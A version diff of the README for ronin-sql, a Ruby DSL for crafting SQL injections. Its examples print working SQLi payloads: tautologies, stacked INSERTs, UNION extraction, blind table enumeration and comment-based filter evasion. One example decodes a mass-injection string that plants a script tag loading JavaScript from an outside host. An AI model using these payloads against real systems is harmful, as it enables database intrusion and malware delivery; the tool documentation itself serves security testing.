README.md in ronin-sql-1.0.0 vs README.md in ronin-sql-1.1.0

- old
+ new

@@ -6,17 +6,17 @@ * [Mailing List](https://groups.google.com/group/ronin-ruby) * [irc.freenode.net #ronin](http://webchat.freenode.net/?channels=ronin&uio=Mj10cnVldd) ## Description -{Ronin::SQL} is a Ruby DSL for crafting SQL Injections (SQLi). +{Ronin::SQL} is a Ruby DSL for crafting [SQL Injections (SQLi)][SQLi]. ### Features * Provides convenience methods for encoding/decoding SQL data. * Provides an Domain Specific Language (DSL) for crafting normal SQL and - SQL injections. + [SQL injections][SQLi]. ## Examples ### Convenience Methods @@ -41,13 +41,20 @@ string.sql_decode # => "DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''+['+@C+'] where '+@C+' not like ''%\"></title><script src=\"http://www0.douhunqn.cn/csrss/w.js\"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor" ### SQLi DSL -Injecting a `1=1` test into a String value: +Injecting a `1=1` test into a Integer comparison: - sqli = Ronin::SQL::Injection.new(:escape => :string) + sqli = Ronin::SQL::Injection.new + sqli.or { 1 == 1 } + puts sqli + # 1 OR 1=1 + +Injecting a `1=1` test into a String comparison: + + sqli = Ronin::SQL::Injection.new(escape: :string) sqli.or { string(1) == string(1) } puts sqli # 1' OR '1'='1 Columns: @@ -60,22 +67,75 @@ Clauses: sqli = Ronin::SQL::Injection.new sqli.or { 1 == 1 }.limit(0) puts sqli - # 1 AND admin=1 + # 1 OR 1=1 LIMIT 0 Statements: sqli = Ronin::SQL::Injection.new + sqli.and { 1 == 0 } + sqli.insert.into(:users).values('hacker','passw0rd','t') + puts sqli + # 1 AND 1=0; INSERT INTO users VALUES ('hacker','passw0rd','t') + +Sub-Statements: + + sqli = Ronin::SQL::Injection.new sqli.union { select(1,2,3,4,id).from(users) } puts sqli # 1 UNION SELECT (1,2,3,4,id) FROM users -Filter evasion: +Test if a table exists: sqli = Ronin::SQL::Injection.new + sqli.and { select(count).from(:users) == 1 } + puts sqli + # 1 AND (SELECT COUNT(*) FROM users)=1 + +Create errors by using non-existant tables: + + sqli = Ronin::SQL::Injection.new(escape: :string) + sqli.and { non_existant_table == '1' } + puts sqli + # 1' AND non_existant_table='1 + +Dumping all values of a column: + + sqli = Ronin::SQL::Injection.new(escape: :string) + sqli.or { username.is_not(null) }.or { username == '' } + puts sqli + # 1' OR username IS NOT NULL OR username=' + +Enumerate through database table names: + + sqli = Ronin::SQL::Injection.new + sqli.and { + ascii( + lower( + substring( + select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1 + ) + ) + ) > 116 + } + puts sqli + # 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116 + +Find user supplied tables via the `sysObjects` table: + + sqli = Ronin::SQL::Injection.new + sqli.union_all { + select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' } + } + puts sqli.to_sql(:terminate => true) + # 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');-- + +Bypass filters using `/**/` instead of spaces: + + sqli = Ronin::SQL::Injection.new sqli.union { select(1,2,3,4,id).from(users) } puts sqli.to_sql(:space => '/**/') # 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users ## Requirements @@ -104,7 +164,9 @@ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Ronin Asm. If not, see <http://www.gnu.org/licenses/>. + +[SQLi]: http://en.wikipedia.org/wiki/SQL_injection [Ruby]: http://www.ruby-lang.org